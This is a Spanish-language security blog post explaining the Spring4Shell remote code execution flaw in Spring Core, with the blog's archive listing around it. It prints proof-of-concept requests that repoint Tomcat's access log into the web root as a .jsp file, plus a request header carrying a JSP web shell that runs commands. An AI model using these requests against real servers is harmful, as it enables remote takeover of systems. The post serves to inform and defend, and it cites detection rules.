Tutoriales y Manuales
Entradas Mensuales
-
►
2023
(Total:
710
)
- ► septiembre (Total: 65 )
-
▼
2022
(Total:
967
)
- ► septiembre (Total: 72 )
-
▼
marzo
(Total:
103
)
-
Apple y Meta compartieron datos privados de usuari...
-
Spring4Shell: un nuevo 0-day en Spring (Java)
-
El mayor hackeo de criptomonedas de la historia ac...
-
La NVIDIA RTX 3090 Ti es la gráfica más potente y ...
-
Filtran informe técnico que revela como Lapsus hac...
-
Globant hackeada también por Lapsus
-
Detenido por 4º vez Alcasec, esta vez por hackear ...
-
Los usuarios de Ucrania se quedan sin internet otr...
-
Informe completo del Ransomware Hive
-
Sitios hackeados con WordPress fuerzan a los visit...
-
Anonymous publica 28 GB de documentos del Banco Ce...
-
Las futuras unidades SSD PCIe 5.0 necesitarán refr...
-
Tinder te dirá en Estados Unidos si tu futura cita...
-
La FCC añade a Kaspersky a su lista de amenazas a ...
-
Vulnerabilidades permiten arrancar y abrir remotam...
-
Corea del Norte explota vulnerabilidad Zero-Day en...
-
Mejorar la seguridad de Windows con herramienta Sy...
-
Rusia habría hackeado satélites europeos al inicio...
-
Diferencias entre SSL, TLS y HTTPS
-
Disponible distro auditorías hacking y pentest Par...
-
El sueldo medio de un operador del ransomware Cont...
-
Comandos prácticos consola Windows (cmd)
-
¿Quiénes son los miembros del grupo Lapsus? El líd...
-
Un ataque DDoS tumba la web del Congreso de los Di...
-
Guía compra CPU: arquitecturas y equivalencias de ...
-
Técnicas de intrusión hacking con vectores inicial...
-
Los rusos se descargan masivamente la Wikipedia an...
-
Microsoft confirma que fue hackeado por el grupo L...
-
Actualizaciones de seguridad críticas para varios ...
-
Anonymous hackea Nestlé y filtra 10 GB de datos co...
-
El Apple M1 Ultra es casi 3 veces más grande que u...
-
Grupo Lapsus publica un torrent con 37GB de codigo...
-
Falso reinicio: Ataque NoReboot para mantener pers...
-
Microsoft investiga un supuesto hackeo con robo de...
-
Kit Phishing permite crear ventanas realistas de P...
-
Twitter prepara «Circles», para mostrar tuits a co...
-
Rusia podría quedarse sin espacio de almacenamient...
-
Herramienta de Microsoft para escanear routers Mik...
-
Un juez del Supremo de Brasil prohíbe el uso de Te...
-
Vulnerabilidades críticas en los dispositivos Smar...
-
Malware Ruso Cyclops Blink afecta a varios modelos...
-
Enviar "fotopollas" será delito en el Reino Unido
-
Video falso (deepfake) del presidente ucraniano pi...
-
Ver las contraseñas guardadas en redes Wireless en...
-
Cloudflare bloquea los servicios IPTV pirata en it...
-
Nueva multa a Meta de 17 millones € por incumplimi...
-
VirusTotal presenta extensión navegador VT4Browsers
-
Transceptores SFP
-
Elevación local de privilegios en el Kernel de Lin...
-
Intel anuncia una inversión de 33 mil millones de ...
-
Microsoft está probando de añadir anuncios en el E...
-
Ucrania utiliza el reconocimiento facial en la gue...
-
Alemania pide a sus empresas y usuarios desinstala...
-
CaddyWiper es un nuevo malware destructivo dirigid...
-
El grupo de ransomware Vice Society publica los da...
-
Microsoft publica la API DirectStorage para PC, un...
-
Conectar pendrive USB al teléfono móvil
-
Anonymous hackea la filial alemana de la gran petr...
-
Acusan a TP-Link de espiar a sus usuarios mediante...
-
Disponible WifiSlax 3.0 Final 2022 para auditorías...
-
La aduana de China captura a un hombre con 160 CPU...
-
Procesadores Intel pierden hasta un 35% y AMD has...
-
Un simulador nuclear 'online' se bloquea debido al...
-
Hackean la cuenta Twitter de La Casa Real de España
-
Top 10 de ataques al Directorio Activo de Windows
-
La empresa Tarlogic denuncia la poca seguridad de ...
-
Cómo acceder a la BIOS-UEFI según la marca del por...
-
Ubisoft confirma un ciberataque y podría ser obra ...
-
Funciones y trucos ocultos de Windows 11
-
Google lanza las alertas de ataques aéreos para us...
-
Rusia crea su propia Autoridad Certificadora (CA) ...
-
La Fundación Wikimedia advierte sobre los peligros...
-
Anonymous hackea al Roskomnadzor, el regulador que...
-
¿Qué es un trol de patentes de software?
-
Nuevo vector de ataque permite amplificar los ataq...
-
BHI (Spectre-BHB) es una nueva vulnerabilidad tipo...
-
Apple M1 Ultra es el nuevo procesador de 20 núcleo...
-
Twitter estrena web en la red Tor para combatir la...
-
Grave vulnerabilidad en el kernel de Linux: Dirty ...
-
12VHPWR es un nuevo conector de hasta 600W para ta...
-
Apple presenta el Mac Studio, un equipo mini de al...
-
Apple Studio Display un Monitor 5K de 27″ a partir...
-
Google compra Mandiant por 5.400 millones de dólar...
-
Consiguen hackear Amazon Echo para hacer compras o...
-
Anonymous hackea canales de televisión que sirven ...
-
Mercado Libre también ha sido hackeado por LAPSUS$...
-
Rusia podría permitir el software ilegal (pirata) ...
-
Vulnerabilidad en cgroups v1 permite escapar de un...
-
Aparecen los primeros malware con los certificados...
-
Coinbase y Binance se niegan a expulsar a usuarios...
-
Filtradas las credenciales de 71.355 empleados de ...
-
Grupo Lapsus hackea Samsung y publica un torrent c...
-
Bottles permite ejecutar software de Windows en Li...
-
instalación y configuración de Docker en NAS QNAP ...
-
IsaacWiper y HermeticWizard: un nuevo wiper y worm...
-
Nuevo método ataque DrDDoS utilizando nuevo vector...
-
EA elimina la selección Rusa y los equipos Rusos d...
-
Miembro pro Ucraniano filtra chats internos, docum...
-
Ciberataque detiene la producción del fabricante c...
-
Google también veta el acceso a los canales de You...
-
-
►
2021
(Total:
730
)
- ► septiembre (Total: 56 )
-
►
2020
(Total:
212
)
- ► septiembre (Total: 21 )
-
►
2019
(Total:
102
)
- ► septiembre (Total: 14 )
-
►
2017
(Total:
231
)
- ► septiembre (Total: 16 )
-
►
2016
(Total:
266
)
- ► septiembre (Total: 38 )
-
►
2015
(Total:
445
)
- ► septiembre (Total: 47 )
-
►
2014
(Total:
185
)
- ► septiembre (Total: 18 )
-
►
2013
(Total:
100
)
- ► septiembre (Total: 3 )
-
►
2011
(Total:
7
)
- ► septiembre (Total: 1 )
Blogroll
Etiquetas
Entradas populares
-
SQLmap es una de las herramienta más conocidas para hacer ataques SQLi (SQL Injection) escrita en Python. SQLmap se encarga de realizar pe...
-
El investigador de seguridad Naor Hodorov (aka @mansk1es) ha hecho público un exploit de prueba de concepto (PoC) para una vulner...
-
La Europol (Oficina Europea de Policía), ha informado que, junto a los jefes de la policía europeos, quieren que se eliminen las conversacio...
Spring4Shell: un nuevo 0-day en Spring (Java)
Recientemente, un miembro del grupo KnownSec con nick p1n93r publicó un pantallazo en su cuenta de Twitter que mostraba un RCE explotado trivialmente contra el core de Spring (no confundir con otra en Spring Cloud - CVE-2022-22963), ya sabéis, uno de los frameworks en Java más populares en Internet.
La vulnerabilidad (sin CVE a fecha de este post) afecta a versiones JDK 9 y posteriores. Poco después el tweet y hasta la cuenta del investigador chino fueron eliminadas, comenzaba la cuenta atrás...
Y no se hizo esperar... ya se sabe... una vez que se sube algo a Internet existe para siempre y por ejemplo podemos encontrar el breve pero revelador paper en la web de nuestros amigos de vx-underground: https://share.vx-underground.org/SpringCore0day.7z
La vulnerabilidad realmente es un bypass de CVE-2010-1622 y es que el código no debería permitir bindear parámetros a ninguna propiedad de Classloader, sin importar si se definen listas permitidas/bloqueadas.
Y al igual que ya se hizo hace unos años con Struts la PoC publicada se basa en abusar del ClassLoader que usa Tomcat. El exploit funciona modificando los ajustes de configuración de Tomcat (a través de AccessLogValve); más específicamente, cambia el esquema de nombres de los archivos de log y la ubicación donde se almacenan los mismos para llevarlos al document root.
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%69
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6f%64%65%5c%73%74%75%70%69%64%52%7
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
A partir de esas peticiones, cuando el atacante envíe una solicitud que contenga un script malicioso, normalmente código JSP, se registrará en el archivo de log, que ahora puede tener el nombre y la extensión que elija el atacante (en el ejemplo, fuckJsp.jsp).
GET /poc/index HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
randompattern: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Dado que este archivo de log ahora está en WEBROOT o en algún lugar desde el cual el servidor web sirve páginas que contienen código JSP, el atacante puede enviar una solicitud GET para fuckjsp.jsp. Cuando el servidor web procesa este archivo, ejecutará el código malicioso y el atacante obtiene la ejecución remota del código en el servidor web.
Fuente:
https://www.hackplayers.com/2022/03/springshell-rce-core-spring.html
YARA ruleshttps://github.com/Neo23x0/signature-base/blob/master/yara/expl_spring4shell.yar
Referencias
https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html
https://bugalert.org/content/notices/2022-03-29-spring.html
https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc
https://www.springcloud.io/post/2022-03/spring-0day-vulnerability
https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/
0 comentarios :
Publicar un comentario
Los comentarios pueden ser revisados en cualquier momento por los moderadores.
Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.
Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.